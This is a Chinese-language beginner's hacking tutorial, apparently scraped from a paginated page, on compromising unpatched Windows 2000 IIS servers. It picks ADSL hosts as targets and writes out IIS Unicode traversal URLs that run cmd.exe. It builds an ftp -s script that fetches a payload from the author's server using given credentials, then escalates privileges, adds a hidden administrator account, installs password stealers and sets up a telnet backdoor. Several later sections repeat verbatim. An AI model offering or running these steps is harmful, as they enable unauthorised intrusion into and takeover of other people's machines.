1。前言（写给谁，适合人群）
如果你喜欢hacker,并在网上有过一些不成功的hacker行为那
么可以看一看这篇入门教材。看了这篇文章并不是说你就一定
能黑到某某网站但我相信你只要按我说的做应能黑到一些不太
注意安全的主机。
2。得到IP
（1）如何得到主机IP地址，也就是说如何找到攻击的目标。首
先我要指出：很多人常常是随便找个网站然后就用网上找到的
扫描程序扫描甚至有些根本不扫描直接就用攻击程序攻击，这样
的效果当然是可想而知的了。
（2）先找练手的肉机：ADSL上网,IP不固定，win2k系统的主机。
这类主机通常是网吧的服务器。这类IP如何得到，简单的办法：
一种：
如果你所在的局域网是ADSL上网方式那么你可以先上网站:
www.ipsprite.com可以看到你的ip是多少且可以根据你输入的域名
或IP分析主机的服务及操作系统类型。
（你在局域网中用winipcfg或是ipconfig看得的只是内网ip形如(192.168.*.*)）
现在假如你的IP为：61.157.58.111那么可以肯定61.157.58这个子网
都是ADSL方式上网的高速主机！！（当然你也可以试试61.157.59.....)
二种：
如果你不是ADSL方式那么如何得到IP呢，先在网上下载一个有看IP补丁的
OICQ然后进到它的聊天室里去在分类里选"城市激情"比如我们要得到成都
地区的ADSL的IP就选成都那一个子栏目就可以了然后尽量的加好友这样
我们就可以得到一些IP地址的原始数据(你也可以问问你的这些临时好友他
们在哪儿上网啦网吧大不大啊是不是ADSL啊)
3。扫描
得到了IP后的下一步就是找到适合的主机了，什么叫适合的主机里是指使用
NT系统并开WEB服务（通常使用80端口）如果这样的主机找到不少还可以进一
步找开了远程终端服务的主机（3389端口）
这里有四个程序：
（1）ipscan:体积小80多kb，扫描快，用ping方式扫描可以得到机器名和你指定的
打开了的端口（仅一个美中不足啊）甚至可以跨网关来打开别人的共享目录有点象
legion:)
（2）rscan:专门的cgi漏洞扫描程序（可以指定线程数），用它来扫描unicode或是
二次解码漏洞是再好不过的了.
（3）readyscan:特点可以扫描多个指定的端口，并且可以判断WEB服务器的类型
（4）x-scan:实际上了只有这个算是真正的黑客扫描器可以扫描给定主机的各种漏
洞比如说unicode,二次解码和idq,isapi溢出等
4。流行洞洞的使用策略
这一步的最终结果就是夺得administrator密码或得到想当于管理员组的用户权限
并且可以终端登陆或是telnet上去。
要做到这一步其实方法有很多主要是由于各主机的配置不同（比如说professional版
本的2k系统根本就没有终端功能最多也就是telnet上去或是安个冰河类型的木马）还有
就是各种主机的安全性能也差别很大比如说有的主机根本就没有打补丁有的只打了sp1
没打sp2或是没有打最新的sp3下面就要看实际情况了。
一个经验用idq或是htr或是printer溢出比用unicode或是二次解码漏洞上去要简单得多
而有unicode或二次解码洞洞的主机一般都有上述二种溢出漏洞（因为打了sp2就可以解
[1] [2] [3] [4] [5]
决unicode或二次解码洞洞而idq,printer洞洞打了也不行）
下面我把各常用洞洞的适用情写出来就不那么多费话了：
(1)idq:对应程序是snake的idq溢出攻击程序 -----------------sp1,sp2都有用
(2)htr:对应程序是sunx的iishack -----------------sp1管用打了sp2就不行了
(3)printer:对应程序是小榕的printer.eXPloit -----------------sp1管用不过只对付英文版的
(4)printer:对应程序是sunx的iis5hack -----------------sp1管用打了sp2就不行了用于各版本
(5)unicode 或是二次解码洞洞 ----------sp1 有用。
(6)ida:对应程序是sunx的idahack --------sp1,sp2都版本都有用
(7)ISAPI dll权力提升:对应sunx的idq.dll等程序 -----------------sp1,sp2都有用不过一般要和u洞联合
(8)smss 权力提升:Arunase.exe/dll ---------------------sp1,sp2,sp3全都有用
(9)net dde权力提升:对应dde.exe ---------------sp1有用(不过dde默认不自启动)
(10)密码盗取程序:win2kpass,passdump -------------sp1,2,3各版本有用
(11)账号克隆程序(隐藏管理员): -------------sp1,2,3各版本有用
我所遇到的情况的解释：扫一主机只有二次解码洞洞可能是管理员打了unicode洞洞的
专用补丁后没有打sp2但是把idq,htr映射删除了所有留下了一个中间的二次解码洞洞
好了现在直说吧要攻击分两种方法
（1）对于打了sp1和sp2的国内主机当然只有用idq或ida洞洞了:(
（2）对于没补丁或只有sp1的最好用htr或printer洞洞也就是iishack/iis5hack其实也可以用idq的同样都是
telnet上去并且有system权限可是用iis5hack攻击的你退出一下telnet连接再连上去不用
再去攻击而用idq每次连接都要攻击一次要烦一些！
（3）对于只有unicode或二次解码洞洞的主机可以再加上ISAPI dll权力提升洞洞攻击（管理员把idq,htr映射删了）
5。利用unicode-------夺得权限控制主机（并不是简单的改首页哟）
这个洞洞2000年就被发现了在2001年的中美五.一黑客大战中被中方大规模的使用虽然
事隔两年但还是有那么多的主机有洞洞---唉无语
对于这个洞洞的原理我就不多说了网上的文章实在是多得无法形容我只说说这个洞洞在
哪些情况下有用：
首先要没打专用补丁的----（费话）
打了sp1但没打sp2的-------都有用
打了sp2的-------没用
IIS没和系统在一个盘的-----没用（注意这而说的是IIS并不是你网页放的实际目录）
删除了msadc,scripts等默认可执行目录的--------没用
将cmd改名或是设为只有管理员才能执行的-------没用（实际上我们用这个洞洞的
用户仅有guests组的权限:）
5.1对于利用这个洞洞执行的程序可以做些什么事及注意事项：
http://1.1.1.1/scripts/..%1c%c1../winnt/system32/cmd.exe?/c+dir+c:\
上面这段代码想必大家都很熟悉了吧：
(1)scripts:也就是一个系统默认的虚拟可执行目录也就是说实际上你在c:\inetpub\wwwroot
目录下找不这一个名为scripts的目录它里面的程序实际上是在c:\inetpub\scripts目录下
(2)..%1c%c1..:在IIS处理以后就解释成了..\..也就是说这将返回上两层目录又回到了c盘根目录
(3)cmd.exe?/c :/c 参数就是执行cmd命令后再执行如dir之类命令行程序对于中间的那个? 号是
乎也是必不可少的原因我也不知道哟：(
(4)+dir+c:\:这个就是执行浏览c盘的根目录对于中间的加号其实也可以不要的但是不要的话返回
时在浏览器的地址栏就成了....%20dir%20c:\的形式很不好看哟:)
(5)由于主机的限制我们象这样直接用cmd 来执行程序有的是没有用的比如del命令所以我们必
须把cmd.exe拷到c:\inetpub\scripts目录下并改名比如为aaa.exe
http://1.1.1.1/scripts/..%1c%c1../winnt/system32/cmd.exe?/c+copy+c:\winnt\system32\cmd.exe+c:\inetpub\scripts\aaa.exe
执行完后将返回 1 file(s) copied 说明执行成功了
然后你再用下面方式执行
[1] [2] [3] [4] [5]
http://1.1.1.1/scripts/aaa.exe?/c+dir+c:\ (简单了很多是不是啊 )
(6)如何进如中文目录或是长目录比说形如c:\aaaa bbbb的目录或是c:\我的文档
..../c+cd+c:\aaaabb~1(空格可以不记)
..../c+cd+c:\我的文~1(中文一个汉字当两个字母)
(7)为什么net user命令用不到:
除了你没有权限外(比如你要net user ?? /add)还有就是这个命令执行后不会在浏览器里反映出结果的
不过你可以执行..../c+net+use+j:+\\你的ip\你的共享目录名 这样就把远程主机的j盘映射
成了你的共享目录这也叫反向连接上传法然后你可以进入j盘远程执行你的程序了
不过你在局域网中因为你的ip是192.168.?.?的形式所以没用
(8)除了net use反向连还有哪些办法可以上传
还有tFTP和ftp -s两种办法由于tftp也要你有外网IP且还要把自已的机子设为TFTP服务器(要专门程序)所以
我只介绍ftp -s 办法:)
前提你也要有一台ftp服务器不过很多个人主页空间都有这种服务的:)
下面我们设我有一台ftp服务器
地址是:61.157.85.134
用户名是:czy
密码是:123654
我们先在在远程主机(被攻击的机器不是你的ftp服务器)上产生一个下载(对是下载)脚本文件
怎么产生要用到echo命令:
http://1.1.1.1/scripts/aaa.exe?/c+echo+open+61.157.85.134>1.txt (注意是>而不是>>)
http://1.1.1.1/scripts/aaa.exe?/c+echo+czy>>1.txt (注czy后和>>之间不要有空格>>表追加方式写入)
http://1.1.1.1/scripts/aaa.exe?/c+echo+123654>>1.txt
http://1.1.1.1/scripts/aaa.exe?/c+echo+get+aaa.exe>>1.txt
http://1.1.1.1/scripts/aaa.exe?/c+echo+bye>>1.txt
最后再看一看1.txt的内容:
http://1.1.1.1/scripts/aaa.exe?/c+type+1.txt
显示如下:
open 61.157.85.134 --------连接到服务器
czy --------用户名
123654 --------密码
get aaa.exe --------得到文件名(注意如果你的ftp服务器是unix/Linux的要分大小写)
bye --------退出
全部搞定就开始ftp了:
http://1.1.1.1/scripts/aaa.exe?/c+ftp+-s:1.txt
好了就上面七行就可以把aaa.exe上传到远程主机!!!!!
5.2 上传什么文件怎么提升权限?
5.2.1
这儿有三类程序:
一类:密码盗取程序如win2kpass.exe或是passdump这类程序用sendmessage方法把管理员登陆的密码框里
的东东记录在固定的文件里(本来sendmessage在2K中是不能盗取非自身的密码框里的内容的但使用远线程
和另几个特殊API函数就可以做到即使你是以guest来执行这个程序)
二类:直接的权限提升程序如getadmin或利用ISAPI dll洞洞和才出来的利用smss的洞洞的ARunase.exe等
三类:把sam密码文件拷下来用L0phtcrack破解(应是最笨的办法了)
(注:对于第一种办法还没有相应的补丁程序但不能马上得到密码特别是网站服务器要等到管理员重新登陆不
知要多久,对于第二种方法前后两个程序利用不同的洞洞但是都要带一个dll文件getadmin对于只打了sp1的有用
ISAPI dll对于sp1,sp2有用,arunase则是所有系统都有用哟必竟利用的是2002年3月才出来的洞洞嘛)
5.2.2
下面我只介绍用arunase.exe的办法 :
我们将arunase.exe和arunase.dll传到远程主机后就执行
http://1.1.1.1/scripts/aaa.exe?/c+arunase+aaa.exe
不过对于arunase只能执行一次所以不要执行...+arunase+net之类的更麻烦嘛:)
就这么简单以后我们再执行aaa时程序的权限就是admin了而不是guest
5.2.3
使用net命令添加admin组用户
http://1.1.1.1/scripts/aaa.exe?/c+net+user+hi+/add (添加用户,hi和/add之间要有空格)
[1] [2] [3] [4] [5]
http://1.1.1.1/scripts/aaa.exe?/c+net+user+hi+/add (并激活)
http://1.1.1.1/scripts/aaa.exe?/c+net+localgroup+administrators+hi+/add (把hi加到admin组中)
5.3 文件注册表操作及打开telnet方式(使用ipc$或是ftp -s 方式上传ntlm后门程序)
现在我们已是管理员了但还得在ie的地址栏里一行一行的输太烦了还是把telnet打开吧
如果你是win2k系统那就是ipc$方式吧这样可以远程文件及注册表操作
5.3.1 使用ipc$
先要说明有哪些条件才可以使用ipc$
(1)你必须是远程主机admin组的成员
(2)对方打开了ipc共享(一般都开了的哈)
(3)你的操作系统必须是nt
具体操作:
(1)打开你的cmd输入net use \\1.1.1.1\ipc$ ""/"hi"
(2)net use j: \\1.1.1.1\c$
这样远程主机的c盘就成了你的j:盘
(3)删除共享和会话(退出ipc共享后)
net use j: /delete
net use \\1.1.1.1\ipc$ ""/"hi" /delete
现在你可以把ntlm拷入到远程主机的c盘中了
5.3.2 打开telnet后门
(1)使用程序netsvc(来至于微软的工具包)远程启动服务也可以查看服务
的状态在运行ntlm前我们必须先关掉telnet服务!!
方法:netsvc \\1.1.1.1 telnet /stop (先远程停止telnet服务)
注:我们不能在浏览栏里输入net start来看虽然我们有权限但是不会有返回
结果的!
(2)运行ntlm (使用远程主机的计划任务服务(默认是自启动的))
先得到远程主机的时间
net time \\1.1.1.1 比如说返回11:11
然后执行at命令
at \\1.1.1.1 11:11 ntlm
如果远程主机没有打开计划任务服务可以用
netsvc \\1.1.1.1 schedoc /start ??? 打开
(3)远程配置telnet服务
使用程序sc.exe(来至于微软的工具包)因为telnet服务默认是手动启动的所以
必须用这个程序把它设为默认就是自动启动
(4)打开telnet服务
netsvc \\1.1.1.1 telnet /start
好了我们的后门就做好了关闭ipc和浏览器,telnet到23端口试吧:)
(5)还有一点注册表操作差点忘了(必须打开ipc)
先要说明有两种办法都都要对方开了注册表远程操作服务(registry remote manager)
一种你可以使用2k的命令行程序reg.exe
二种图形界面的regedit选择连接远程注册表就可以了:)
5.3.3 不使用ipc的情况如果你的主机是win9x那就最好看一看了
其实这种办法也就是在权限提升后还得在地址栏输入大量的内容
首先你得用ftp -s的办法除了要上传arunase.exe/dll外还得上传ntlm并拷到系统目录下
然后在地址栏执行:
net stop telnet
ntlm
net start telnet
由于你不能执行sc命令所以必须telnet上去后用远程的reg.exe自已操作注册表把telnet
服务的方式设为自动启动!
6.idq溢出攻击
6.1 用溢出telnet上去后做些什么?
snake的程序实在很简单不用多说只是要注意:操做系统补丁的选择一个不行可以选二次多试
试反正一般选chinese sp2 .
(还有明明x-scan扫到了有这个洞洞可就是不行可能是误报也可能是网速的原因)
[1] [2] [3] [4] [5]
连上去后telent程序默认(我用98自带的telnet不是2k的)不会"本地响应"也就是说我们输入
的字符什么也看不到你要打开"终端"菜单--选择"首选"选项然后在弹出来的窗口中选择"本地响应"
进去后做什么:
(1)
net user hi /add (添加用户,hi和/add之间要有空格)
net user hi /add (并激活)
net localgroup administrators hi /add (加到管理员组中)
(2)同样用ftp -s命令把ntlm上传过来然后执行 (当然也可以用ipc请见上一节)
(3)reg命令操作注册表把telnet服务设为自启动 (如用ipc则远程的sc.exe可以哈)
(其实不管用哪个洞洞最终就是打开telnet另外不要忘了就是传一个win2kpass上去记录管理员的密
码如果怕它不重启可以远程重启三iismagr /reboot)
7. 3389的打开方式(仿真终端的建立)
7.1 3389的可能性
对方的主机必须为2k server/adv server/data center而professoral或nt4都是不行的哟:(
(nt4 termservice 版除外)
7.2如果主机打开了3389端口那就不用说了如果是没有开呢但是已安装了终端服务的
也很简单只要
net start termservice (telnet方式上去的)
或是 netsvc \\1.1.1.1 termservice /start (ipc方式上去的)
7.3如果没有开3389且你执行上面两个命令时说服务不存在那么就先要看一看对方的主机是不是
server了
我们假设是telnet方式上去的:)
(1)net start 看看开了哪些服务注意有几个服务只有server版才有的pro版没有比如说
DNS服务
7.4 终端服务的远程安装
(1)查找有没有sysoc.inf和sysocmgr.exe这两个程序(都在winnt的子目录下)同时还要说明一点
这种办法即使管理员在安装SERVER时根本就没有选安装远程终端服务也有用且整个安装是不需要
光盘的所以完全可以神不知鬼不觉的安装成功(一定要自动重启)
(2)编辑安装文件auto内容如下
(3)执行sysocmgr.exe(无人执守安装程序)
(4)上面的程序执行由于参数是说不询问就重启动所以你的telnet连接会断开几分钟但注意的是
执行程序后并不会马上就断开所以不要以为程序没执行对请多等一会儿吧:)
8.设代理使主机成为真正的"肉鸡"
8.1 使用SNAKE的代理跳板
9.安装更隐藏的后门
9.1 cmd.ASP
9.2 ping 后门的建立
10.给主机打补丁
11.清除你的脚印
12.符录文章中的程序及命令
（出处：http://www.sheup.com）
[1] [2] [3] [4] [5]
也很简单只要
net start termservice (telnet方式上去的)
或是 netsvc \\1.1.1.1 termservice /start (ipc方式上去的)
7.3如果没有开3389且你执行上面两个命令时说服务不存在那么就先要看一看对方的主机是不是
server了
我们假设是telnet方式上去的:)
(1)net start 看看开了哪些服务注意有几个服务只有server版才有的pro版没有比如说
DNS服务
7.4 终端服务的远程安装
(1)查找有没有sysoc.inf和sysocmgr.exe这两个程序(都在winnt的子目录下)同时还要说明一点
这种办法即使管理员在安装SERVER时根本就没有选安装远程终端服务也有用且整个安装是不需要
光盘的所以完全可以神不知鬼不觉的安装成功(一定要自动重启)
(2)编辑安装文件auto内容如下
(3)执行sysocmgr.exe(无人执守安装程序)
(4)上面的程序执行由于参数是说不询问就重启动所以你的telnet连接会断开几分钟但注意的是
执行程序后并不会马上就断开所以不要以为程序没执行对请多等一会儿吧:)
8.设代理使主机成为真正的"肉鸡"
8.1 使用SNAKE的代理跳板
9.安装更隐藏的后门
9.1 cmd.asp
9.2 ping 后门的建立
10.给主机打补丁
11.清除你的脚印
12.符录文章中的程序及命令
（出处：http://www.sheup.com）
[1] [2] [3] [4] [5] [6]
net user hi /add (添加用户,hi和/add之间要有空格)
net user hi /add (并激活)
net localgroup administrators hi /add (加到管理员组中)
(2)同样用ftp -s命令把ntlm上传过来然后执行 (当然也可以用ipc请见上一节)
(3)reg命令操作注册表把telnet服务设为自启动 (如用ipc则远程的sc.exe可以哈)
(其实不管用哪个洞洞最终就是打开telnet另外不要忘了就是传一个win2kpass上去记录管理员的密
码如果怕它不重启可以远程重启三iismagr /reboot)
7. 3389的打开方式(仿真终端的建立)
7.1 3389的可能性
对方的主机必须为2k server/adv server/data center而professoral或nt4都是不行的哟:(
(nt4 termservice 版除外)
7.2如果主机打开了3389端口那就不用说了如果是没有开呢但是已安装了终端服务的
也很简单只要
net start termservice (telnet方式上去的)
或是 netsvc \\1.1.1.1 termservice /start (ipc方式上去的)
7.3如果没有开3389且你执行上面两个命令时说服务不存在那么就先要看一看对方的主机是不是
server了
我们假设是telnet方式上去的:)
(1)net start 看看开了哪些服务注意有几个服务只有server版才有的pro版没有比如说
DNS服务
7.4 终端服务的远程安装
(1)查找有没有sysoc.inf和sysocmgr.exe这两个程序(都在winnt的子目录下)同时还要说明一点
这种办法即使管理员在安装SERVER时根本就没有选安装远程终端服务也有用且整个安装是不需要
光盘的所以完全可以神不知鬼不觉的安装成功(一定要自动重启)
(2)编辑安装文件auto内容如下
(3)执行sysocmgr.exe(无人执守安装程序)
(4)上面的程序执行由于参数是说不询问就重启动所以你的telnet连接会断开几分钟但注意的是
执行程序后并不会马上就断开所以不要以为程序没执行对请多等一会儿吧:)
8.设代理使主机成为真正的"肉鸡"
8.1 使用SNAKE的代理跳板
9.安装更隐藏的后门
9.1 cmd.asp
9.2 ping 后门的建立
10.给主机打补丁
11.清除你的脚印
12.符录文章中的程序及命令
（出处：http://www.sheup.com）
[1] [2] [3] [4] [5] [6] [7]